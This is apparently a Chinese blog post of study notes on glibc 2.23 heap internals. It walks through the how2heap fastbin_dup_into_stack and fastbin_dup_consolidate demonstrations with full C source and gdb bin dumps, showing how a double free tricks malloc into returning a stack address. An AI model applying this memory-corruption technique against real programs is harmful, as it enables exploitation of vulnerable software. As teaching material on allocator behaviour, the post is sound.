关于如何理解Glibc堆管理器(Ⅲ——从DoubleFree深入理解Bins)

2024-04-15 05:58

本文主要是介绍关于如何理解Glibc堆管理器(Ⅲ——从DoubleFree深入理解Bins),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源。

目录

环境与工具:

搭建调试环境:

fastbin_dup_into_stack:

调试阶段:

fastbin_dup_consolidate:

引用:


环境与工具:

        Ubuntu16.4 / gcc / (gdb)pwn-dbg

        范例:howtoheap2

搭建调试环境:

git clone https://github.com/shellphish/how2heap.git
cd how2heap
make

        对于GitHub可能速度过慢的情况,可以尝试使用Gitee拷贝仓库,再从Gitee处克隆仓库

fastbin_dup_into_stack:

        我们有必要使用glibc2.23版本下的环境来进行这种调试。在更高版本中,已经修复了这个漏洞。这当然对系统来说是好事,但对于试图理解其原理的学习者来说,少一些限制往往能够更加快速的理解。

        如下为源代码:(我并未做出删减,以方便让说明与调试过程相统一)

#include <stdio.h>
#include <stdlib.h>int main()
{fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n""returning a pointer to a controlled location (in this case, the stack).\n");unsigned long long stack_var;fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);fprintf(stderr, "Allocating 3 buffers.\n");int *a = malloc(8);int *b = malloc(8);int *c = malloc(8);fprintf(stderr, "1st malloc(8): %p\n", a);fprintf(stderr, "2nd malloc(8): %p\n", b);fprintf(stderr, "3rd malloc(8): %p\n", c);fprintf(stderr, "Freeing the first one...\n");free(a);fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);// free(a);fprintf(stderr, "So, instead, we'll free %p.\n", b);free(b);fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);free(a);fprintf(stderr, "Now the free list has [ %p, %p, %p ]. ""We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);unsigned long long *d = malloc(8);fprintf(stderr, "1st malloc(8): %p\n", d);fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));fprintf(stderr, "Now the free list has [ %p ].\n", a);fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n""so now we are writing a fake free size (in this case, 0x20) to the stack,\n""so that malloc will think there is a free chunk there and agree to\n""return a pointer to it.\n", a);stack_var = 0x20;fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

调试阶段:

test@ubuntu:~/how2heap/glibc_2.23$ gdb fastbin_dup_into_stack 
gdb-peda$ b 14
Breakpoint 1 at 0x40071d: file glibc_2.23/fastbin_dup_into_stack.c, line 14.
gdb-peda$ b 23
Breakpoint 2 at 0x4007bc: file glibc_2.23/fastbin_dup_into_stack.c, line 23.
gdb-peda$ b 29
Breakpoint 3 at 0x400806: file glibc_2.23/fastbin_dup_into_stack.c, line 29.
gdb-peda$ b 32
Breakpoint 4 at 0x40082f: file glibc_2.23/fastbin_dup_into_stack.c, line 32.
gdb-peda$ b 36
Breakpoint 5 at 0x40086a: file glibc_2.23/fastbin_dup_into_stack.c, line 36.
gdb-peda$ run

        可以在如上位置下断点,然后开始调试程序。

         通过continue和n运行到24行,也就是第一次执行free函数的位置,输入bins可以查看当前bins中的内容

gdb-peda$ bins
fastbins
0x20: 0x603000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

        可以看见,此时,fastbins中已经有了第一个节点。继续往下,直到第二次free结束时

gdb-peda$ bins
fastbins
0x20: 0x603020 —▸ 0x603000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

        可以看见,此时第二个节点也挂进fastbins链表的头部了。继续往下调试,直到第三个free函数被执行:

gdb-peda$ bins
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
gdb-peda$ heap
0x603000 FASTBIN {prev_size = 0x0, size = 0x21, fd = 0x603020, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21
}
0x603020 FASTBIN {prev_size = 0x0, size = 0x21, fd = 0x603000, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21
}
0x603040 FASTBIN {prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20fa1
}
0x603060 PREV_INUSE {prev_size = 0x0, size = 0x20fa1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0
}

        可以看见,此时堆中的两个chunk在FastBins的链表中形成了一个闭环。

        这是一个非常反直觉的行为,因为我们执行了两次free(a),并且系统并没有报错

       (注:笔者在Kali2021版本中以相同代码进行调试则会出现报错,在该版本中已经存在Tcache Bins,示例中的free函数会将chunk放入Tcache Bins中而不是Fast Bins,因此调试失败)

         联系上一章内容,Fast Bins中的chunk并不是真正处于释放状态,因此系统在执行free函数的时候检查当前chunk的状态时会发现它仍然在被使用,因此我们可以多次进行free(a)的操作而不出现错误

        但这并不意味着系统不会做出检查:下方代码摘自ctf-wik,有删减

        /* Lightweight tests: check whether the block is already thetop block.  */// 当前free的chunk不能是top chunkif (__glibc_unlikely(p == av->top)) {errstr = "double free or corruption (top)";goto errout;}// 当前要free的chunk的使用标记没有被标记,double free/* Or whether the block is actually not marked used.  */if (__glibc_unlikely(!prev_inuse(nextchunk))) {errstr = "double free or corruption (!prev)";goto errout;}

        根据注释可知,free函数的检查只判断当前目标是否处于Top chunk,也就是链表的头部。由于我们free(b)的执行,此时Top Chunk为chunk b,并且由于处在Fast Bins中,因此也绕过了第二个检查,所以成功对 a 进行了两次free操作

        接下来的内容请根据如下代码进行调试:

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main()
{int *a = malloc(8);int *b = malloc(8);free(a);free(b);free(a);int *c = malloc(8);int *d = malloc(8);int *e = malloc(8);int *f = malloc(8);return 0;
}	
gcc -g heap2.c -o heap2
gdb heap2
b 13
run

        我删处了很多不必要的说明以方便我们更加直观的看到DoubleFree的效果

        直接运行到第13行,并且完成接下来的四次malloc操作:

───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────
In file: /home/giantbranch/Desktop/class/heap2.c8 	int *a = malloc(8);9 	int *b = malloc(8);10 	free(a);11 	free(b);12 	free(a);► 13 	int *c = malloc(8);14 	int *d = malloc(8);15 	int *e = malloc(8);16 	int *f = malloc(8);17 	return 0;18 }	

        当我们运行到第17行时再查看如下变量: 

gdb-peda$ p c
$5 = (int *) 0x602010
gdb-peda$ p d
$6 = (int *) 0x602030
gdb-peda$ p e
$7 = (int *) 0x602010
gdb-peda$ p f
$8 = (int *) 0x602030

        我们发现,不论怎么申请都只会得到这两个地址了。它们交错出现,只要我们申请的内存能够从这个Bin中取出,那么我们现在就只能得到这两个地址了。

        从malloc的角度来说,它会取出Bins的第一个节点,并将其他节点往上挂入头节点中。

        而在回环的链表中,取出第一个节点后,第二个节点成为新的第一个节点,而新的第二个节点则又是第一个节点(这样说十分绕口,建议手动调试一下),因此没办法像平常操作那样取出目标了

        而从这个出现顺序也能够猜出,Fast Bins是先进后出的结构

fastbin_dup_consolidate:

        我没有使用范例给出的程序,而是自己写了更加方便调试的类似的代码

#include <stdio.h>
#include <stdlib.h>int main()
{void* p1 = malloc(0x40);void* p2 = malloc(0x40);free(p1);void* p3 = malloc(0x400);free(p1);void* p4 = malloc(0x40);void* p5 = malloc(0x40);
}

        同样编译后运行到第9行,此时的bins:

gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

         此时,chunk p1已经被放入Fast Bins中,当我们再次申请一块超出Fast Bins能够服务的chunk时,即执第9行代码:

gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000
largebins
empty

        发生了合并consolidate,并将chunk p1送入Small Bins中,。继续往下执行第10行:

gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50 [corrupted]
FD: 0x602000 ◂— 0x0
BK: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000
largebins
empty

         第11行:

gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50 [corrupted]
FD: 0x602000 ◂— 0x0
BK: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000
largebins
empty

        第12行:

gdb-peda$ bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

        这个实际结果与上一章所述相同。在第12行代码中,堆管理器检查Small Bins发现可用,分割该chunk分配给 p5,并将该chunk取出Bins。

引用:

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/implementation/free/#_3

这篇关于关于如何理解Glibc堆管理器(Ⅲ——从DoubleFree深入理解Bins)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/905015

相关文章

【前端学习】AntV G6-08 深入图形与图形分组、自定义节点、节点动画(下)

【课程链接】 AntV G6:深入图形与图形分组、自定义节点、节点动画(下)_哔哩哔哩_bilibili 本章十吾老师讲解了一个复杂的自定义节点中,应该怎样去计算和绘制图形,如何给一个图形制作不间断的动画,以及在鼠标事件之后产生动画。(有点难,需要好好理解) <!DOCTYPE html><html><head><meta charset="UTF-8"><title>06

认识、理解、分类——acm之搜索

普通搜索方法有两种:1、广度优先搜索;2、深度优先搜索; 更多搜索方法: 3、双向广度优先搜索; 4、启发式搜索(包括A*算法等); 搜索通常会用到的知识点:状态压缩(位压缩,利用hash思想压缩)。

深入探索协同过滤:从原理到推荐模块案例

文章目录 前言一、协同过滤1. 基于用户的协同过滤(UserCF)2. 基于物品的协同过滤(ItemCF)3. 相似度计算方法 二、相似度计算方法1. 欧氏距离2. 皮尔逊相关系数3. 杰卡德相似系数4. 余弦相似度 三、推荐模块案例1.基于文章的协同过滤推荐功能2.基于用户的协同过滤推荐功能 前言     在信息过载的时代,推荐系统成为连接用户与内容的桥梁。本文聚焦于

【生成模型系列(初级)】嵌入(Embedding)方程——自然语言处理的数学灵魂【通俗理解】

【通俗理解】嵌入(Embedding)方程——自然语言处理的数学灵魂 关键词提炼 #嵌入方程 #自然语言处理 #词向量 #机器学习 #神经网络 #向量空间模型 #Siri #Google翻译 #AlexNet 第一节:嵌入方程的类比与核心概念【尽可能通俗】 嵌入方程可以被看作是自然语言处理中的“翻译机”,它将文本中的单词或短语转换成计算机能够理解的数学形式,即向量。 正如翻译机将一种语言

【C++高阶】C++类型转换全攻略:深入理解并高效应用

📝个人主页🌹:Eternity._ ⏩收录专栏⏪:C++ “ 登神长阶 ” 🤡往期回顾🤡:C++ 智能指针 🌹🌹期待您的关注 🌹🌹 ❀C++的类型转换 📒1. C语言中的类型转换📚2. C++强制类型转换⛰️static_cast🌞reinterpret_cast⭐const_cast🍁dynamic_cast 📜3. C++强制类型转换的原因📝

深入手撕链表

链表 分类概念单链表增尾插头插插入 删尾删头删删除 查完整实现带头不带头 双向链表初始化增尾插头插插入 删查完整代码 数组 分类 #mermaid-svg-qKD178fTiiaYeKjl {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-

深入理解RxJava:响应式编程的现代方式

在当今的软件开发世界中,异步编程和事件驱动的架构变得越来越重要。RxJava,作为响应式编程(Reactive Programming)的一个流行库,为Java和Android开发者提供了一种强大的方式来处理异步任务和事件流。本文将深入探讨RxJava的核心概念、优势以及如何在实际项目中应用它。 文章目录 💯 什么是RxJava?💯 响应式编程的优势💯 RxJava的核心概念

如何通俗理解注意力机制?

1、注意力机制(Attention Mechanism)是机器学习和深度学习中一种模拟人类注意力的方法,用于提高模型在处理大量信息时的效率和效果。通俗地理解,它就像是在一堆信息中找到最重要的部分,把注意力集中在这些关键点上,从而更好地完成任务。以下是几个简单的比喻来帮助理解注意力机制: 2、寻找重点:想象一下,你在阅读一篇文章的时候,有些段落特别重要,你会特别注意这些段落,反复阅读,而对其他部分

深入理解数据库的 4NF:多值依赖与消除数据异常

在数据库设计中, "范式" 是一个常常被提到的重要概念。许多初学者在学习数据库设计时,经常听到第一范式(1NF)、第二范式(2NF)、第三范式(3NF)以及 BCNF(Boyce-Codd范式)。这些范式都旨在通过消除数据冗余和异常来优化数据库结构。然而,当我们谈到 4NF(第四范式)时,事情变得更加复杂。本文将带你深入了解 多值依赖 和 4NF,帮助你在数据库设计中消除更高级别的异常。 什么是

分布式系统的个人理解小结

分布式系统:分的微小服务,以小而独立的业务为单位,形成子系统。 然后分布式系统中需要有统一的调用,形成大的聚合服务。 同时,微服务群,需要有交流(通讯,注册中心,同步,异步),有管理(监控,调度)。 对外服务,需要有控制的对外开发,安全网关。